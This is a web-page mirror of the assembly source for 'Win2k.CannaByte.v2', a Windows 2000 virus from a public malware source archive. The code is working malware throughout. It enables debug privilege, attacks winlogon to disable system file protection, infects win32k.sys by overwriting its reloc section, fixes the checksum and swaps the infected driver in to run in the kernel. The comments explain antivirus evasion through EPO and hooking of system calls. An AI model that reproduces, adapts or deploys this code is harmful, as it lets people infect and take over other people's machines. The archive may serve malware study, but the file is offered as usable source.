ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-25 04:45:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
e9fe6d7235
MalwareSourceCode/LegacyWindows/Win2k/Win2k.CannaByte.v2.asm

2940 lines
79 KiB
NASM
Raw Normal View History

Add files via upload
2020-10-10 02:54:36 +00:00
;win2k.CannaByte.v2 coded by (Super && vallez)
;
;IMPORTANT: THIS CODE IS ONLY FOR READ AND IF YOU WANT TEST IT. IM NOT RESPONSABLE IF YOU
;USE IT FOR BAD THINGS. IN ADDITION NOW THE VIRUS WILL INFECT WIN32K.SYS AND WILL HOOK
;THE APIS BUT IT WILL INFECT ONLY ZZZ.EXE FILE SO FOR IT WORKS FULLY IT MUST BE MODIFIED.
;
;When a infected file arrives to a system it will infect the system.
;The expansion method will be to intercept NtCreateFile and NtOpenFile in SSDT,
;and infect all files that will be opened.
;For that propose,the virus will try to go ring0 and intercept there system calls.
;For going to ring0 virus will infect win32k.sys and in the next restart the virus will
;be loaded in ring0.
;Ill no explain lot of more things here coz virus is very commented so its easily
;understandable.
;version 2 improvements:
;
;Cksum of win32k.sys calculated on the fly,without using apis.
;
;RING0 EPO infection:
;
; The virus will infect in this manner: it will copy itself in reloc section,however,
; it will take RVA of relocs. Then it will add a random offset from this RVA. In addition
; reloc pointer will be erased from data directory. Avs will not able to start the
; searching from a part of PE becoz the virus could be copied to any section and any
; offset in the section. In addition the vx will infect using EPO:
; The virus will search code section where entrypoint is there. It will calculate a random
; offset from the start of the section. The offset could be between instructions..without
; pointing a valid opcode. Here the super's theory comes:
;
; Super's Theory:
;
; When u jump a random number of bytes in a buffer of code its possible u will
; jump to a zone between instruction. For example: E8 11 22 33 44 its possible
; in a random jump you will stay pointing 11 or 22 instead instruction opcode E8.
; but its possible redrive ur pointer to opcodes doing a route over the code
; getting instruction lengths and adding them to your pointer, 16 times at max.
; Then u will be in opcodes sure.
;
; The theory was full tested and it works perfectly...x86 secrets :)
;
; Well,using the theory we can redrive our pointer to a valid opcode. From that
; opcode we will search a call, E8 XX XX XX XX. We will hook that call for
; giving the control the vx.
;
; This method could be very powerfull: avs cannot search the vx at a fixed offset
; and they cannot search the call at a fixed offset. They cannot start to search
; the vx from the end of the file, becoz the virus could be far of there.
; In big hosts they will need to read lot of bytes of the host for finding the vx.
;
; We are using length disassembler engine (lde32) by Z0mbie :) We love your engine.
;
;
; Problems with EPO: we are copying the vx to a offset from relocs start. In the previous
; version the virus infected more files, it had more space for infection. Now it will
; discard more files. However infected files will be more difficult to detect.
;
;
;Other improvements we would like to add with more time:
;
; Worm support: today internet is the battlefield for vx. Well,this is my opinion:
; infector viruses are powerful, becoz they are more difficult to be detected,coverall
; if they are using methods as EPO, poli/meta-morphism, cavity...and other powerful
; techniques. However internet is succulent for viruses, and a good virus must have
; internet support. A very powerful virus would have to combine both things, a
; good infection method, difficulting detection, and a fast expansion method,using
; internet. We want to add a worm part:
; The worm part will be in ring3 sending random files from the infected machine. These
; files will be infected by the hook in the ring0 vx part.
;
; Sfc disabling: now the virus is able to disable sfc in win2k using benny and ratter
; method. It would be interesting to add new methods for disabling sfc in all systems.
; No string searching for patching better. Im sure in the next zine new methods will
; appears, more generic methods,so it would be interesting to add them.
;
; Full stealth in memory and disk: we are in ring0 hooking NtCreateFile and NtOpenFile...
; why not a full stealth in disk for win32k.sys? no time now.. :( In the same manner
; we would like to add full stealth in memory.
;
;
;THX TO:
;
;-As always Xezaw :) my dear m3nt0r ;) (THE BEST m3nt0r) I must say u thx coz that lot of
;patience that u had haven with me :) im a "ceporro" (i dont know how to say this in
;english xDD)
;-My second dear m3nt0r :) Super. How its possible u know all things i ask u? O_O xDD
;-VirusBust :) a good friend who helped me a lot of too.
;-Morphine: the most likeable girl in the undernet :D and in the world too! ;D i adore to
;speak with u :)
;Remains, ring0 machine :)
;-Pato,Nigthmare,isotope,ViR[-_-],MrHangman,Oyzzo,bi0s,... My best friends :)
;-Nmt,ur articles have helped me lot of :)
;-GriYo who always helped me too a lot of :) when i have needed.
;-Ratter&Benny: i dont know u but i must say ur articles and virus codes have helped me
;lot of very much.(When i added this line in parenthesys i already knew ratter and i must
;say thx again for ur help ;)
;-Z0mbie: ur engine is a boom!! :D
;-Well,"THX TO" part is the more difficult part to code coz always u will forget to thx
;somebody so i must say thx all people that i forget to put here :)
;-And OfCorz a infinitely BIG THX TO 'Lady Marian' :********************* U r resident
;in my memory all time :D
.586p
.model flat,stdcall
extrn ExitProcess:proc
extrn GetLastError:proc
extrn GetModuleHandleA:proc
;29a files
include mz.inc
include pe.inc
include win32api.inc
include useful.inc
;macros
;;;;;;;;;;;;;;;;;;;;;;;
callz macro dir_call
db 0E8h
dd (dir_call - $ - 4)
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
jmpz macro dir_call
db 0E9h
dd (dir_call - $ -4)
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
CalcLenString macro
local loopin
push esi
dec esi
loopin:
inc esi
cmp byte ptr[esi],0
jne loopin
mov ecx,esi
pop esi
sub ecx,esi
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
GezApi macro BaseKernel,ApiCRC,ApiNameLen
mov eax,BaseKernel
mov edx,ApiCRC
mov ebx,ApiNameLen
callz GetApi
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen
GezApi BaseNtdll,ApiCRC,ApiNameLen
mov eax,[eax + 1]
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
syscallz macro fc,paramz ;from Ratter's win2k.Joss
mov eax,fc
lea edx,[esp]
int 2eh
add esp,(paramz*4)
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov [esp],esp ;for storing number of writted bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov [esp],esp ;for storing number of read bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;
;APIS'S NAMES CRCS AND LENGHTS
LoadLibraryACRC equ 3fc1bd8dh
LLNameLen equ 12
CloseHandleCRC equ 0b09315f4h
CHNameLen equ 11
FindFirstFileACRC equ 0c9ebd5ceh
FFFNameLen equ 14
FindNextFileACRC equ 75272948h
FNFNameLen equ 13
FindCloseCRC equ 0d82bf69ah
FCNameLen equ 9
GetTickCountCRC equ 5b4219f8h
GTCNameLen equ 12
WriteMemoryProcessCRC equ 4f58972eh
WMPNameLen equ 18
ReadMemoryProcessCRC equ 0f7c7ae42h
RMPNameLen equ 17
ResumeThreadCRC equ 3872beb9h
RTNameLen equ 12
ExitProcessCRC equ 251097CCh
EPNameLen equ 11
SetFileAttributesACRC equ 156b9702h
SFANameLen equ 18
CreateFileACRC equ 553b5c78h
CFNameLen equ 11
CreateFileMappingACRC equ 0b41b926ch
CFMNameLen equ 18
MapViewOfFileCRC equ 0A89b382fh
MVFNameLen equ 13
UnmapViewOfFileCRC equ 391ab6afh
UVFNameLen equ 15
SetFileTimeCRC equ 21804a03h
SFTNameLen equ 11
GetModuleHandleACRC equ 0B1866570h
GMHNameLen equ 16
GetLastErrorCRC equ 0d2e536b7h
GLENameLen equ 12
RegisterServiceProcessCRC equ 3b5ef61fh
RSPNameLen equ 22
SetCurrentDirectoryACRC equ 69b6849fh
SCDNameLen equ 20
GetCurrentDirectoryACRC equ 0c79dc4e3h
GCDNameLen equ 20
GetWindowsDirectoryACRC equ 0fff372beh
GWDNameLen equ 20
GetModuleFileNameACRC equ 08bff7a0h
GMFNNameLen equ 18
CreateProcessACRC equ 0a851d916h
CPNameLen equ 14
Module32FirstCRC equ 38891c00h
M32FNameLen equ 13
Module32NextCRC equ 0f6911852h
M32NNameLen equ 12
CreateToolhelp32SnapShotCRC equ 0c1f3b876h
CT32SNameLen equ 24
VirtualProtectExCRC equ 5d180413h
VPNameLen equ 16
GetCurrentProcessCRC equ 0d0861aa4h
GCPNameLen equ 17
OpenProcessTokenCRC equ 0f9c60615h
OPTNameLen equ 16
LookupPrivilegeValueACRC equ 0da87bf62h
LPVNameLen equ 21
AdjustTokenPrivilegesCRC equ 0de3e5cfh
ATPNameLen equ 21
EnumProcessesCRC equ 0509a21ch
EPSNameLen equ 13
EnumProcessModulesCRC equ 0dea82ac2h
EPMNameLen equ 18
GetModuleInformationCRC equ 0f2a84636h
GMINameLen equ 20
SuspendThreadCRC equ 0bd76ac31h
STNameLen equ 13
FreeLibraryCRC equ 0da68238fh
FLNameLen equ 11
GetVersionCRC equ 4ccf1a0fh
GVNameLen equ 10
RasDialACRC equ 0b88da156h
RDNameLen equ 8
GetModuleBaseNameACRC equ 1720513eh
GMBNNameLen equ 18
OpenProcessCRC equ 0df27514bh
OPNameLen equ 11
ZwConnectPortCRC equ 0cbaec255h
ZCPNameLen equ 13
NtConnectPortCRC equ 0c88edce9h
NCPNameLen equ 13
ZwRequestPortCRC equ 0e28aebd1h
ZRPNameLen equ 13
DbgUiConnectToDbgCRC equ 09a51ac3ah
DUCTDNameLen equ 17
DbgSsInitializeCRC equ 0d198b351h
DSINameLen equ 15
DbgSsHandleKmApiMsgCRC equ 2e9c4e99h
DSHKAMNameLen equ 19
GetCurrentProcessIdCRC equ 1db413e3h
GCPINameLen equ 19
GetCurrentThreadIdCRC equ 8df87e63h
GCTINameLen equ 18
WaitForDebugEventCRC equ 96ab83a1h
WFDENameLen equ 17
ContinueDebugEventCRC equ 0d8e77e49h
CDENameLen equ 18
VirtualAllocExCRC equ 0e62e824dh
VANameLen equ 14
CreateRemoteThreadCRC equ 0ff808c10h
CRTNameLen equ 18
NtTerminateProcessCRC equ 94fcb0c0h
NTPNameLen equ 18
ExitThreadCRC equ 80af62e1h
ETNameLen equ 10
GetCurrentDirectoryWCRC equ 334971b2h
GCDWNameLen equ 20
FindFirstFileWCRC equ 3d3f609fh
FFFWNameLen equ 14
SleepCRC equ 0cef2eda8h
SNameLen equ 5
MoveFileACRC equ 0de9ff0d1h
MFNameLen equ 9
MapFileAndCheckSumACRC equ 462eeff7h
MFACSNameLen equ 19
CheckSumMappedFileCRC equ 0bbb4966eh
CSMFNameLen equ 18
CopyFileACRC equ 0199dc99h
CpFNameLen equ 9
KeServiceDescriptorTableCRC equ 32a4d557h
KSDTNameLen equ 24
NtCreateFileCRC equ 3ee6cc56h
NCFNameLen equ 12
ZwOpenFileCRC equ 0b679c176h
ZOFNameLen equ 10
ZwOpenSectionCRC equ 73bdfd70h
ZOSNameLen equ 13
ZwMapViewOfSectionCRC equ 0d287ee26h
ZMVOSNameLen equ 18
ZwCloseCRC equ 180c0d23h
ZCNameLen equ 7
ZwCreateSectionCRC equ 2c919477h
ZCSNameLen equ 15
ZwUnmapViewOfSectionCRC equ 9d35f923h
ZUVOSNameLen equ 20
NtOpenFileCRC equ 0a1b1dc21h
NOFNameLen equ 10
ZwDeleteFileCRC equ 6967772dh
ZDFNameLen equ 12
DeleteFileACRC equ 919b6bcbh
DFNameLen equ 11
ZwCreateFileCRC equ 0a81a7cd4h
ZCFNameLen equ 12
PsCreateSystemThreadCRC equ 32adfc3ah
PCSTNameLen equ 20
KeQueryTickCountCRC equ 52d6480eh
KQTCNameLen equ 16
Kernel32CRC equ 204c64e5h ;CRC of 'kernel32' string
TOKEN_PRIVILEGES struc
TP_count dd ?
TP_luid dq ?
TP_attribz dd ?
TOKEN_PRIVILEGES ends
unicode_string struc
us_Length dw ?
us_MaximumLength dw ?
us_Buffer dd ?
unicode_string ends
objects_attributes struc
oa_length dd ? ;lenght of this structure
oa_rootdir dd ?
oa_objectname dd ? ;name of the object
oa_attribz dd ? ;attributes of the object
oa_secdesc dd ?
oa_secqos dd ?
objects_attributes ends
pio_status struc
ps_ntstatus dd ?
ps_info dd ?
pio_status ends
TOKEN_ASSIGN_PRIMARY equ 00000001h
TOKEN_DUPLICATE equ 00000002h
TOKEN_IMPERSONATE equ 00000004h
TOKEN_QUERY equ 00000008h
TOKEN_QUERY_SOURCE equ 00000010h
TOKEN_ADJUST_PRIVILEGES equ 00000020h
TOKEN_ADJUST_GROUPS equ 00000040h
TOKEN_ADJUST_DEFAULT equ 00000080h
TOKEN_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED or \
TOKEN_ASSIGN_PRIMARY or \
TOKEN_DUPLICATE or \
TOKEN_IMPERSONATE or \
TOKEN_QUERY or \
TOKEN_QUERY_SOURCE or \
TOKEN_ADJUST_PRIVILEGES or \
TOKEN_ADJUST_GROUPS or \
TOKEN_ADJUST_DEFAULT
SE_PRIVILEGE_ENABLED equ 00000002h
CHECKSUM_SUCCESS equ 00000000h
CHECKSUM_OPEN_FAILURE equ 00000001h
CHECKSUM_MAP_FAILURE equ 00000002h
CHECKSUM_MAPVIEW_FAILURE equ 00000003h
CHECKSUM_UNICODE_FAILURE equ 00000004h
OBJ_CASE_INSENSITIVE equ 00000040h
FILE_DIRECTORY_FILE equ 00000001h
FILE_WRITE_THROUGH equ 00000002h
FILE_SEQUENTIAL_ONLY equ 00000004h
FILE_NO_INTERMEDIATE_BUFFERING equ 00000008h
FILE_SYNCHRONOUS_IO_ALERT equ 00000010h
FILE_SYNCHRONOUS_IO_NONALERT equ 00000020h
FILE_NON_DIRECTORY_FILE equ 00000040h
FILE_CREATE_TREE_CONNECTION equ 00000080h
FILE_COMPLETE_IF_OPLOCKED equ 00000100h
FILE_NO_EA_KNOWLEDGE equ 00000200h
FILE_OPEN_FOR_RECOVERY equ 00000400h
FILE_RANDOM_ACCESS equ 00000800h
FILE_DELETE_ON_CLOSE equ 00001000h
FILE_OPEN_BY_FILE_ID equ 00002000h
FILE_OPEN_FOR_BACKUP_INTENT equ 00004000h
FILE_NO_COMPRESSION equ 00008000h
FILE_RESERVE_OPFILTER equ 00100000h
FILE_OPEN_REPARSE_POINT equ 00200000h
FILE_OPEN_NO_RECALL equ 00400000h
FILE_OPEN_FOR_FREE_SPACE_QUERY equ 00800000h
FILE_COPY_STRUCTURED_STORAGE equ 00000041h
FILE_STRUCTURED_STORAGE equ 00000441h
FILE_VALID_OPTION_FLAGS equ 00ffffffh
FILE_VALID_PIPE_OPTION_FLAGS equ 00000032h
FILE_VALID_MAILSLOT_OPTION_FLAGS equ 00000032h
FILE_VALID_SET_FLAGS equ 00000036h
FILE_SHARE_READ equ 00000001h
FILE_SHARE_WRITE equ 00000002h
FILE_READ_DATA equ 00000001h
FILE_WRITE_DATA equ 00000002h
FILE_APPEND_DATA equ 00000004h
FILE_OPEN_IF equ 00000003h
FILE_OPEN equ 00000001h
FILE_NON_DIRECTORY_FILE equ 00000040h
STATUS_SUCCESS equ 00000000h
SEC_COMMIT equ 08000000h
SECTION_QUERY equ 00000001h
SECTION_MAP_WRITE equ 00000002h
SECTION_MAP_READ equ 00000004h
SECTION_MAP_EXECUTE equ 00000008h
SECTION_EXTEND_SIZE equ 00000010h
STANDART_RIGTHS_REQUIRED equ 000F0000h
SYNCHRONIZE equ 00100000h
THREAD_ALL_ACCESS equ (STANDARD_RIGHTS_REQUIRED + SYNCHRONIZE + 3FFh)
STARTUPINFOSIZE equ 68
PROCESSINFORMATIONSIZE equ 16
cPushfd equ 4
tamvirus = evirus - svirus
.data;
;;;;;;
az db 'KeQueryTickCount',0
azz db 'WriteProfileStringA',0
vallez db 'vallez for 29a',0
.code;
;;;;;;
start:
;;;;;;
;first generation codevvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
xor ebp,ebp
lea esi,az
CalcLenString
mov edi,ecx
call CRC32
lea esi,azz
CalcLenString
mov edi,ecx
call CRC32
;unprotection of code for first gen
@pushsz "kernel32.dll"
call GetModuleHandleA
push eax
mov esi,offset svirus
mov ecx,evirus - svirus
xor ebx,ebx
callz UnprotectMem
;This small code will move all code 1 byte up for simulate second gen...
lea edi,[evirus]
mov esi,edi
dec esi
mov ecx,evirus-svirus
std
rep movsb
cld
mov byte ptr[svirus],90h
pop eax
mov [ebp + NtKernel],eax
jmp svirus
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;first generation code^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
svirus:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Entry Point Of Virus when is executed In ring3.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EPointFile:
pushad
pushfd
int 3
;;;;;;;;;;;;;;;;;;;;;;;;
call d_offset ;I calculate delta offset
d_offset:
pop ebp
sub ebp,offset d_offset
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,dword ptr fs:[30h] ;we ll get kernel address
mov eax,dword ptr [eax+0ch]
mov esi,dword ptr [eax+1ch]
lodsd
mov eax,dword ptr [eax+08h]
;eax->addr in kernel
xor ax,ax ;Ill get kernel address
add eax,1000h
;eax -> a part of kernel32
SearchKernel:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchKernel
;eax -> base of kernel32
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
push eax ;i have unprotected the memory of code of virus
lea esi,[ebp + svirus]
mov ecx,tamvirus
xor ebx,ebx
callz UnprotectMem
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
pop eax ;I get other used librarys
mov [ebp + NtKernel],eax
callz GetLibrarys
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel] ;Ill keep the current directory
GezApi eax,GetCurrentDirectoryACRC,GCDNameLen
lea ebx,[ebp + CurDir]
push ebx
push 256
call eax;we keep current dir for restoring
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov ecx,cs ;The virus will work in win2k only
xor cl,cl
or ecx,ecx
jne Exit
mov eax,[ebp + NtKernel] ;Im in NT but i want win2k...
GezApi eax,GetVersionCRC,GVNameLen
call eax
test eax,80000000h
jnz Exit
cmp al,5 ;i test for win2k(i think XP is 5 too but it will not work
jne Exit ;for win XP)
;Im not sure if this will work in NT previous machines perhaps but ill code for win2k.
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel] ;we go to system32 directory first
GezApi eax,GetWindowsDirectoryACRC,GWDNameLen
push 256
lea ebx,[ebp + Buffer]
push ebx
call eax
lea esi,[ebp + Buffer]
CalcLenString
mov edi,esi
add edi,ecx
mov al,'\'
stosb
mov eax,'tsys'
stosd
mov eax,'23me'
stosd
xor al,al
mov [edi],al
mov eax,[ebp + NtKernel]
GezApi eax,SetCurrentDirectoryACRC,SCDNameLen
lea esi,[ebp + Buffer]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;I want to enable Debug privilege for token of this user. touch_privilege was coded by Ratter
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtAdvapi] ;enabling debug privilege for this user
GezApi eax,AdjustTokenPrivilegesCRC,ATPNameLen
mov [ebp + tAdjustTokenPrivileges],eax
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
mov [ebp + tCloseHandle],eax
mov eax,[ebp + NtAdvapi]
GezApi eax,LookupPrivilegeValueACRC,LPVNameLen
mov [ebp + tLookupPrivilegeValueA],eax
mov eax,[ebp + NtAdvapi]
GezApi eax,OpenProcessTokenCRC,OPTNameLen
mov [ebp + tOpenProcessToken],eax
mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentProcessCRC,GCPNameLen
mov [ebp + tGetCurrentProcess],eax
push SE_PRIVILEGE_ENABLED
pop eax
@pushsz "SeDebugPrivilege"
pop esi
call touch_privilege
;;;;;;;;;;;;;;;;;;;;;;;;
;Now ill disable sfp with Benny&Ratter method
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz GetWinlogon ;I have debug priv so ill disable sfc with benny&ratter method
or eax,eax
jnz Exit
callz AttackWinlogon
or eax,eax
jnz Exit
;;;;;;;;;;;;;;;;;;;;;;;;
;Now infection of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;U will see in this part lot of move and copy files but i do it for ensuring the
;perfect working of the virus...I had some problems with sfc disabling due this code
;was executed before sfc disabling code so finally win32k.sys was not infected the first
;time that virus was executed in that system uninfected still...but i have correct that
;problem doing some movings and copyings of files...that file here,that file there and
;virus works perfectly now ;P
;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + _WIN32_FIND_DATA] ;Search win32k.sy
push eax
lea eax,[ebp + win32ksy]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
cmp eax,0FFFFFFFFh
je NoWin32sySoContinue
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindCloseCRC,FCNameLen
call eax
lea esi,[ebp + win32ksys]
push esi
mov eax,[ebp + NtKernel] ;deleting win32k.sys if it would exist
GezApi eax,DeleteFileACRC,DFNameLen
call eax
mov eax,[ebp + NtKernel] ;renaming win32k.sy to win32k.sys
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksys]
push esi
lea esi,[ebp + win32ksy]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
NoWin32sySoContinue:
mov eax,[ebp + NtKernel] ;we copy win32k.sys to win32k.fuck
GezApi eax,CopyFileACRC,CpFNameLen
push 0
lea esi,[ebp + win32kfuck]
push esi
lea esi,[ebp + win32ksys]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;Why of this?:
;The original win32k.sys is been used by the system so we can modify it...however we can
;change its name. We copy it to win32k.fuck and infect the .fuck file...
;later we renaming win32k.sys to win32k.sy and win32k.fuck to win32k.sys
;and this new win32k.sys will be loaded in ring0 the next time that system reboot.
;i copy .sys to .fuck for no infecting directly over win32k.sys
;coz i had problems...i tried to infect directly over win32k.sys but sometimes(lot of times)
;when i called functions as CreateFile or others, i got this error from GetLastError:
;32(20h)(The process cannot access the file because it is being used by another process)
;I supposed that win32k.sys is a file used lot of times and if i infected directly over
;win32k.sys i would get this error lot of times....so finally i decided to do a copy
;named win32k.fuck for later renaming this file to win32k.sys when already infected.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Now ill infect win32k.fuck
;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + _WIN32_FIND_DATA] ;Mapping win32k.fuck
push eax
lea eax,[ebp + win32kfuck]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
mov [ebp + SearchHand],eax
cmp eax,0FFFFFFFFh
je Exit
callz MapFile
or eax,eax
jz Exit
;;;;;;;;;;;;;;;;;;;;;;;;
;INFECTION OF WIN32K.FUCK
;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + ViewHandle] ;a simple infection overwriting reloc section
mov edx,eax
mov ebx,[eax + 3ch]
add eax,ebx
;eax -> PE
mov bx,word ptr [eax + 8]
cmp bx,'zs'
je StopInfection ;becoz already Infected
mov word ptr [eax + 8],'zs' ;a small mark ;)
mov ebx,[eax + 28h] ;EPoint of win32k.sys
mov [ebp + EntryPointWin32ksys],ebx
xor ecx,ecx
mov cx,word ptr [eax + 6]
dec ecx
mov ebx,eax
add ebx,0F8h ;sections
GoToLastSection:
add ebx,28h
loop GoToLastSection
;ebx -> .reloc ;over-reloc infection of win32k.sys
cmp [ebx],'ler.'
jne StopInfection
mov dword ptr [ebx + 24h],040000040h ;reloc not discardable,readable,writable
mov ecx,[ebx + 10h]
cmp ecx,tamvirus
jb StopInfection
;i change entry point of win32k.sys
mov edi,[ebx + 0ch]
add edi,EPointSystem - svirus
mov [eax + 28h],edi ;RVA new entry point for win32k.sys
;ill copy the code overwriting .reloc
mov edi,[ebx + 14h]
add edi,edx
lea esi,[ebp + svirus]
mov ecx,tamvirus
rep movsb
;;;;;;;;;;;;;;;;;;;;;;;;
;IMPORTANT: I MUST CORRECT WIN32K.FUCK HEADER CKSUM AFTER INFECTION OR SYSTEM WILL NOT START
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;In the previous version of the virus the cksum of win32k.sys was calculated with
;MapFileAndCheckSumA api. In this version we will calculate it on the fly.
mov esi,[ebp + ViewHandle] ;esi->start of buffer
lea ecx,[ebp + _WIN32_FIND_DATA]
mov ecx,[ecx.WFD_nFileSizeLow]
shr ecx,1 ;ecx=len of total buf in words for calculating the cksum
mov ebx,[esi + 3ch]
add ebx,esi
lea edx,[ebx.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_CheckSum] ;edx=addr of dword for skipping
xor edi,edi ;in edi will be the resulting cksum
CalcCksum:
cmp esi,edx
jne ContinueCksum
add esi,4
sub ecx,2
jmp CalcCksum
ContinueCksum:
push eax
movzx eax,word ptr [esi]
add edi,eax
pop eax
add esi,2
test edi,0FFFF0000h
jz ContinueCksum2
inc edi
and edi,0000FFFFh
ContinueCksum2:
loop CalcCksum
lea ecx,[ebp + _WIN32_FIND_DATA]
mov ecx,[ecx.WFD_nFileSizeLow]
add edi,ecx
mov [ebx.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_CheckSum],edi ;calculated cksum
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,'szsz'
StopInfection: ;Unmmaping win32k.fuck
push eax
callz CloseAll
pop eax
cmp eax,'szsz'
jne SysAlreadyInfected
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
push dword ptr [ebp + SearchHand] ;Closing the search hand
mov eax,[ebp + NtKernel]
GezApi eax,FindCloseCRC,FCNameLen
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel] ;renaming win32k.sys to win32k.sy
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksy]
push esi
lea esi,[ebp + win32ksys]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel] ;renaming win32k.fuck to win32k.sys
GezApi eax,MoveFileACRC,MFNameLen
lea esi,[ebp + win32ksys]
push esi
lea esi,[ebp + win32kfuck]
push esi
call eax
;;;;;;;;;;;;;;;;;;;;;;;;
;Exit
